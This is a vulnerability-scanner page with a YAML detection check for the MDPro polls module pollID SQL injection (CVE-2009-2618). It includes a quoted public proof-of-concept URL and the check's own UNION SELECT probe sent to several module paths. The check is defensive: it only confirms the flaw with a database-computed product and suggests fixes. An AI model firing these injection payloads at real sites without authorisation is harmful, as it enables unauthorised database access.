MDPro — 1 vulnerability check

noctis ships 1 vulnerability check for MDPro, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

MDPro Surveys (polls) module pollID SQL Injection

CVECVE-2009-2618
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/mdpro/CVE-2009-2618.yaml

MDPro (MAXdev) 1.083.x puts the pollID parameter of its polls module (the "Surveys" module, installed as NS-Polls or Polls) unquoted into the SQL query that loads a poll's results, and prints the poll title it returns. An unauthenticated attacker can read or alter the whole database.

This check looks for MDPro under the web root and the usual install paths. On an MDPro site it asks the polls module for results with a pollID that is a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page shows the product computed by the database, which never appears in the request. No table data is read and nothing is written. When no polls module answers, the check reports a 1.083.x version read from the page's generator tag, with a lower confidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID={{sc.q}}
  6. HTTP(S) request GET {{dir}}/modules.php?op=modload&name=Polls&file=index&req=results&pollID={{sc.q}}
  7. HTTP(S) request GET {{dir}}/modules.php?op=modload&name=Surveys&file=index&req=results&pollID={{sc.q}}
  8. Parses / computes the next value with a Rhai script
  9. Checks hit for ^/ → finding QoD 97: MDPro Surveys (polls) module pollID SQL Injection (CVE-2009-2618)
  10. Checks ver_hit for ^/ → finding QoD 70: MDPro 1.083.x Surveys (polls) module pollID SQL Injection (CVE-2009-2618)

References:

Feed source — tests/vulnerabilities/mdpro/CVE-2009-2618.yaml
# MDPro (MAXdev) 1.083.x — polls module pollID SQL injection — CVE-2009-2618
#
# The polls module (NS-Polls / Polls, called "Surveys" in the advisory) shows a
# poll's results with includes/blocks/poll.php pollResults():
#     SELECT pn_title, pn_voting FROM <prefix>_poll_desc WHERE pn_pollid=<pollID>
# <pollID> is unquoted and only goes through pnVarPrepForStore() (addslashes), and
# the first column (the poll title) is printed as <b>TITLE</b>. index.php only
# checks "$pollID > 0", which a value starting with a positive number passes.
# Public PoC (EDB-9021, milw0rm 2009-06-25):
#     modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=73+and+substring(@@version,1,1)=5#
#
# Detection:
#   QoD 97 — on every install path whose index.php names MD-Pro/MDPro/MAXdev, send
#     pollID = <random id> UNION SELECT CONCAT(0x4e4f43544953,a*b,0x454e44),0-- -
#     (random a, b) to the NS-Polls, Polls and Surveys module names. The product a*b
#     is never in the request, so only an SQL engine that evaluated our expression can
#     return "NOCTIS<a*b>END". Read-only, no table referenced, no quotes, nothing
#     extracted. The payload has no " and ... =" / " or ... like" sequence, which
#     pnAPI.php's GET filter answers with a redirect. Checked on the real
#     pollResults() query (MDPro 1.0 includes/blocks/poll.php, same code path) run on
#     MariaDB through PHP mysqli: the vulnerable query returns the marker, the
#     intval() version returns nothing.
#   QoD 70 — fallback when no polls module answers the probe: the generator tag
#     (<meta name="generator" content="MAXdev 1.083 - ..."> in the 1.083 package,
#     "MDPro <version>" in older ones) gives version 1.083.x. No fixed release exists.
#
# Better than the source NASL (version check only, QoD 80 remote_banner):
#   - proves the injection itself with a database-computed value;
#   - also recognises the "MAXdev 1.083" generator tag of the 1.083 package on
#     SourceForge, which the NASL's "MD-?Pro ([0-9.]+)" detection misses (FN).
#
# Source: OpenVAS/Greenbone NVT 2009/gb_mdpro_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800919, GPL-2.0-only) and gb_mdpro_detect.nasl.
uid: 83cead3a-24a6-4def-bbde-28ec2667fe96
name: "MDPro Surveys (polls) module pollID SQL Injection (CVE-2009-2618)"
description: |
  MDPro (MAXdev) 1.083.x puts the pollID parameter of its polls module (the
  "Surveys" module, installed as NS-Polls or Polls) unquoted into the SQL query
  that loads a poll's results, and prints the poll title it returns. An
  unauthenticated attacker can read or alter the whole database.

  This check looks for MDPro under the web root and the usual install paths. On an
  MDPro site it asks the polls module for results with a pollID that is a UNION
  SELECT of an expression multiplying two random numbers. The vulnerability is
  confirmed when the page shows the product computed by the database, which never
  appears in the request. No table data is read and nothing is written. When no
  polls module answers, the check reports a 1.083.x version read from the page's
  generator tag, with a lower confidence.
cves: [CVE-2009-2618]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [mdpro, maxdev, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-2618"
  - "https://www.exploit-db.com/exploits/9021"
  - "https://www.securityfocus.com/bid/35495"
  - "https://sourceforge.net/projects/maxdev/"
  # OpenVAS/Greenbone NASL 2009/gb_mdpro_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected marker and the encoded pollID value ─────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let id = rand_int(70000000, 79999999);
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         id: "" + id,
         q: id + "%20UNION%20SELECT%20CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44),0--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  - id: init-ver
    action: set_var
    var_name: ver_hit
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/mdpro", "/md", "/MDPro", "/maxdev"]

  - id: init-is-md
    action: set_var
    var_name: is_md
    var_value: false

  - id: init-p1
    action: set_var
    var_name: p1
    var_value: {status: 0, body: ""}

  - id: init-p2
    action: set_var
    var_name: p2
    var_value: {status: 0, body: ""}

  - id: init-p3
    action: set_var
    var_name: p3
    var_value: {status: 0, body: ""}

  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: landing

  - id: gate
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(landing.body) == "string" { landing.body } else { "" };
      landing.status == 200 && ereg("(?i)MD-?Pro|MAXdev", body)
    store_as: is_md

  - id: read-version
    action: script
    condition: 'hit == "" && is_md == true && ver_hit == ""'
    code: |
      // generator tag only — a news item quoting "MDPro 1.083" must not count
      let m = eregmatch("(?i)<meta[^>]*generator[^>]*(?:MD-?Pro|MAXdev) (1\\.083[0-9.]*)", landing.body);
      if type_of(m) == "array" && m.len() > 1 {
        (if dir == "" { "/" } else { dir }) + " (version " + m[1] + ")"
      } else { "" }
    store_as: ver_hit

  - id: probe-ns-polls
    action: http_request
    method: GET
    path: "{{dir}}/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && is_md == true'
    store_as: p1

  - id: probe-polls
    action: http_request
    method: GET
    path: "{{dir}}/modules.php?op=modload&name=Polls&file=index&req=results&pollID={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && is_md == true'
    store_as: p2

  - id: probe-surveys
    action: http_request
    method: GET
    path: "{{dir}}/modules.php?op=modload&name=Surveys&file=index&req=results&pollID={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && is_md == true'
    store_as: p3

  - id: check-product
    action: script
    condition: 'hit == "" && is_md == true'
    code: |
      let d = if dir == "" { "/" } else { dir };
      let b1 = if type_of(p1.body) == "string" { p1.body } else { "" };
      let b2 = if type_of(p2.body) == "string" { p2.body } else { "" };
      let b3 = if type_of(p3.body) == "string" { p3.body } else { "" };
      if b1.contains(sc.want) { d + " module NS-Polls" }
      else if b2.contains(sc.want) { d + " module Polls" }
      else if b3.contains(sc.want) { d + " module Surveys" }
      else { "" }
    store_as: hit

  # ── Findings ──────────────────────────────────────────────────────────────
  - id: report-sqli
    action: match
    source: hit
    pattern: "^/"
    on_match:
      finding:
        title: "MDPro Surveys (polls) module pollID SQL Injection (CVE-2009-2618)"
        description: "An unauthenticated request for poll results with pollID set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: pollID reaches the SQL query unquoted, so an attacker can read or alter the whole database."
        remediation: "No fixed MDPro release exists: remove or disable the polls (Surveys) module, or cast pollID with intval() in modules/<polls module>/index.php and includes/blocks/poll.php before it is used in a query."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit}}: modules.php?op=modload&name=<module>&file=index&req=results&pollID={{sc.id}} UNION SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),0-- - returned the database-computed value {{sc.want}}"
      stop: true

  # ── Version fallback, once, after every install path was probed ────────────
  # (a plain step here would still belong to the loop group above and report
  # once per path; a one-item loop starts a new group)
  - id: after-loop
    action: set_var
    var_name: done
    var_value: true
    loop:
      var: once
      over: ["once"]

  - id: report-version
    action: match
    source: ver_hit
    pattern: "^/"
    on_match:
      finding:
        title: "MDPro 1.083.x Surveys (polls) module pollID SQL Injection (CVE-2009-2618)"
        description: "The page's generator tag identifies MDPro (MAXdev) 1.083.x, whose polls (Surveys) module puts the pollID parameter unquoted into an SQL query. The injection probe on the polls module did not confirm the flaw (module absent, renamed, disabled or fixed), so this finding rests on the version only."
        remediation: "No fixed MDPro release exists: remove or disable the polls (Surveys) module, or cast pollID with intval() before it is used in a query, or replace MDPro with a maintained CMS."
        confidence_delta: 0.40
        qod: 70
        evidence: "MDPro install dir {{ver_hit}} from the generator tag; polls module injection probe not confirmed"

View these feeds on GitHub